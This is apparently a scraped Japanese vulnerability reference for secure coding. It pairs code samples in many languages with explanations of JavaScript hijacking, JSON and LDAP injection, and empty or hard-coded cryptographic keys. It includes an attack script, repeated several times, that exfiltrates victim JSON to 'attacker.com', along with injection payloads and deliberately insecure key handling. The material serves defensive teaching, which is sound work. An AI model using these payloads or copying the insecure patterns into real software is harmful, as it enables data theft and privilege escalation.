...
var options = {
port: 443,
path: '/',
key : fs.readFileSync('my-server-key.pem'),
cert : fs.readFileSync('server-cert.pem'),
...
}
https.createServer(options);
...
secureProtocol
のデフォルト値を SSLv23_method
に設定するので、secureProtocol
を明確にオーバーライドしなければ、サーバーは本質的に安全ではなくなります。
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration ephemeralSessionConfiguration];
[configuration setTLSMinimumSupportedProtocol = kSSLProtocol3];
NSURLSession *mySession = [NSURLSession sessionWithConfiguration:configuration delegate:self delegateQueue:operationQueue];
let configuration : NSURLSessionConfiguration = NSURLSessionConfiguration.defaultSessionConfiguration()
let mySession = NSURLSession(configuration: configuration, delegate: self, delegateQueue: operationQueue)
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
および password
から C:\user_info.json
にある JSON ファイルに、権限を与えられていないユーザー (「default」ロールのユーザーです。これに対し権限が付与されたユーザーのロールは「admin」です) のユーザー アカウントの認証情報をシリアライズします。
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
を使用して実行されるため、username
および password
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限を与えられていないユーザー mallory
(パスワード Evil123!
) が username
変数の値を設定するプロンプトでユーザー名を入力するときに自身のユーザー名に ","role":"admin
を追加する場合、結果として C:\user_info.json
に保存される JSON は次のようになります。
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
JsonConvert.DeserializeObject()
を使用して Dictionary
オブジェクトにデシリアライズされた場合はこのようになります。
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
Dictionary
オブジェクト内で username
、password
、および role
キーの結果として得られる値はそれぞれ mallory
、Evil123!
、および admin
になります。デシリアライズされた JSON 値が有効かについてこれ以上検証しないと、アプリケーションは誤ってユーザー mallory
に「admin」権限を割り当てます。username
および password
から ~/user_info.json
にある JSON ファイルに、権限を与えられていないユーザー (「default」ロールのユーザーです。これに対し権限が付与されたユーザーのロールは「admin」です) のユーザー アカウントの認証情報をシリアライズします。
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
および password
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限を与えられていないユーザー mallory
(パスワード Evil123!
) がユーザー名を入力するときに ","role":"admin
を追加する場合、結果として ~/user_info.json
に保存される JSON は次のようになります。
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
に「admin」権限を割り当てます。username
および password
から ~/user_info.json
にある JSON ファイルに、権限を与えられていないユーザー (「default」ロールのユーザーです。これに対し権限が付与されたユーザーのロールは「admin」です) のユーザー アカウントの認証情報をシリアライズします。
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
を使用して実行されるため、username
および password
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限を与えられていないユーザー mallory
(パスワード Evil123!
) が username
変数の値を設定するプロンプトでユーザー名を入力するときに自身のユーザー名に ","role":"admin
を追加する場合、結果として ~/user_info.json
に保存される JSON は次のようになります。
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
JsonParser
を使用して HashMap
オブジェクトにデシリアライズされた場合はこのようになります。
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
HashMap
オブジェクト内で username
、password
、および role
キーの結果として得られる値はそれぞれ mallory
、Evil123!
、および admin
になります。デシリアライズされた JSON 値が有効かについてこれ以上検証しないと、アプリケーションは誤ってユーザー mallory
に「admin」権限を割り当てます。
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
で信頼されていないデータは検証されずに JSON 関連の特殊文字がエスケープされません。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限のないユーザー mallory
が URL の名前パラメーターに ","role":"admin
を追加すると、JSON は次のようになります。
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
によってパースされてプレーン オブジェクトに設定されます。つまり、obj.role
は "user" の代わりに "admin" を返すようになります。_usernameField
および _passwordField
から JSON に、権限を与えられていないユーザー (「default」ロールのユーザーです。これに対し権限が付与されたユーザーのロールは「admin」です) のユーザー アカウントの認証情報をシリアライズします。
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
を使用して実行されるため、_usernameField
および _passwordField
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限を与えられていないユーザー mallory
(パスワード Evil123!
) がユーザー名を _usernameField
フィールドに入力するときに自身のユーザー名に ","role":"admin
を追加する場合、結果として JSON は次のようになります。
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
を使用して NSDictionary
オブジェクトにデシリアライズされた場合はこのようになります。
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
NSDictionary
オブジェクト内で username
、password
、および role
キーの結果として得られる値はそれぞれ mallory
、Evil123!
、および admin
になります。デシリアライズされた JSON 値が有効かについてこれ以上検証しないと、アプリケーションは誤ってユーザー mallory
に「admin」権限を割り当てます。
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが JSON キーを随意に挿入できるようになり、シリアライズされた JSON の構造を変更する可能性があります。この例では、権限を与えられていないユーザー mallory
が URL の名前パラメータに ","role":"admin
を追加する場合、JSON は次のようになります。
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
および passwordField
から JSON に、権限を与えられていないユーザー (「default」ロールのユーザーです。これに対し権限が付与されたユーザーのロールは「admin」です) のユーザー アカウントの認証情報をシリアライズします。
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
および passwordField
内の信頼できないデータに対して、JSON 関連の特殊文字をエスケープするための検証がされなくなります。これにより、ユーザーが、シリアライズされた JSON の構造を変更する可能性がある JSON キーを随意に挿入できるようになります。この例では、権限を与えられていないユーザー mallory
(パスワード Evil123!
) がユーザー名を usernameField
フィールドに入力するときに自身のユーザー名に ","role":"admin
を追加する場合、結果として JSON は次のようになります。
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
を使用して NSDictionary
オブジェクトにデシリアライズされた場合はこのようになります。
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
NSDictionary
オブジェクト内で username
、password
、および role
キーの結果として得られる値はそれぞれ mallory
、Evil123!
、および admin
になります。デシリアライズされた JSON 値が有効かについてこれ以上検証しないと、アプリケーションは誤ってユーザー mallory
に「admin」権限を割り当てます。
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
に示すコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
例 1
のコードは正常に実行される可能性がありますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くかもしれません。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
のコードは正常に実行されますが、そのコードにアクセスしたユーザーは空の HMAC 鍵が使われていることに気付くことができます。プログラムが頒布された後は、プログラムにパッチを適用しない限り、空の HMAC キーを変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。また Example 1
のコードは、フォージェリ攻撃や鍵回復攻撃に対して脆弱です。
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
に強力で適切に管理されたパスワードの値が含まれる場合でも、パスワードの長さをゼロで渡すと、空パスワード、null
パスワード、または予期せぬ脆弱なパスワード値になります。
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
に強力で適切に管理されたパスワードの値が含まれる場合でも、パスワードの長さをゼロで渡すと、空パスワード、null
パスワード、または予期せぬ脆弱なパスワード値になります。
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
を変更することはできません。不心得な従業員がこの情報へのアクセス権を持っている場合、この暗号化鍵を使用してシステムによって暗号化されているデータを危険な状態におくことがあります。
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
例 2: 次のコードは、ハードコーディングされている暗号鍵を使用して AES 暗号化を行っています。
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
を変更できないと考えられます。不心得な従業員がこの情報へのアクセス権を持っている場合、HMAC 関数の安全性が損なわれる可能性があります。
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
DirectorySearcher src =
new DirectorySearcher("(manager=" + managerName.Text + ")");
src.SearchRoot = de;
src.SearchScope = SearchScope.Subtree;
foreach(SearchResult res in src.FindAll()) {
...
}
(manager=Smith, John)
managerName
に LDAP メタ文字が含まれない場合のみクエリは正しく動作します。攻撃者が managerName
に文字列「Hacker, Wiley)(|(objectclass=*)
」を入力すると、クエリは次のようになります。
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
条件の追加により、ディレクトリにあるすべてのエントリに対してフィルタが一致することになり、攻撃者はユーザーのプール全体に関する情報を取得できるようになります。LDAP クエリが実行されるときの許可によって、攻撃の範囲は限定される場合がありますが、攻撃者がクエリのコマンド構造を制御できる場合、この問題を利用する攻撃により少なくとも LDAP クエリを実行するユーザーがアクセスできるすべてのレコードが影響を受ける場合があります。
fgets(manager, sizeof(manager), socket);
snprintf(filter, sizeof(filter, "(manager=%s)", manager);
if ( ( rc = ldap_search_ext_s( ld, FIND_DN, LDAP_SCOPE_BASE,
filter, NULL, 0, NULL, NULL, LDAP_NO_LIMIT,
LDAP_NO_LIMIT, &result ) ) == LDAP_SUCCESS ) {
...
}
(manager=Smith, John)
manager
に LDAP メタ文字が含まれない場合のみクエリは正しく動作します。攻撃者が manager
に文字列「Hacker, Wiley)(|(objectclass=*)
」を入力すると、クエリは次のようになります。
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
条件の追加により、ディレクトリにあるすべてのエントリに対してフィルタが一致することになり、攻撃者はユーザーのプール全体に関する情報を取得できるようになります。LDAP クエリが実行されるときの許可によって、攻撃の範囲は限定される場合がありますが、攻撃者がクエリのコマンド構造を制御できる場合、この問題を利用する攻撃により少なくとも LDAP クエリを実行するユーザーがアクセスできるすべてのレコードが影響を受ける場合があります。
...
DirContext ctx = new InitialDirContext(env);
String managerName = request.getParameter("managerName");
//retrieve all of the employees who report to a manager
String filter = "(manager=" + managerName + ")";
NamingEnumeration employees = ctx.search("ou=People,dc=example,dc=com",
filter);
...
(manager=Smith, John)
managerName
に LDAP メタ文字が含まれない場合のみクエリは正しく動作します。攻撃者が managerName
に文字列「Hacker, Wiley)(|(objectclass=*)
」を入力すると、クエリは次のようになります。
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
条件の追加により、ディレクトリにあるすべてのエントリに対してフィルタが一致することになり、攻撃者はユーザーのプール全体に関する情報を取得できるようになります。LDAP クエリが実行されるときの許可によって、攻撃の範囲は限定される場合がありますが、攻撃者がクエリのコマンド構造を制御できる場合、この問題を利用する攻撃により少なくとも LDAP クエリを実行するユーザーがアクセスできるすべてのレコードが影響を受ける場合があります。
...
$managerName = $_POST["managerName"]];
//retrieve all of the employees who report to a manager
$filter = "(manager=" . $managerName . ")";
$result = ldap_search($ds, "ou=People,dc=example,dc=com", $filter);
...
(manager=Smith, John)
managerName
に LDAP メタ文字が含まれない場合のみクエリは正しく動作します。攻撃者が managerName
に文字列「Hacker, Wiley)(|(objectclass=*)
」を入力すると、クエリは次のようになります。
(manager=Hacker, Wiley)(|(objectclass=*))
|(objectclass=*)
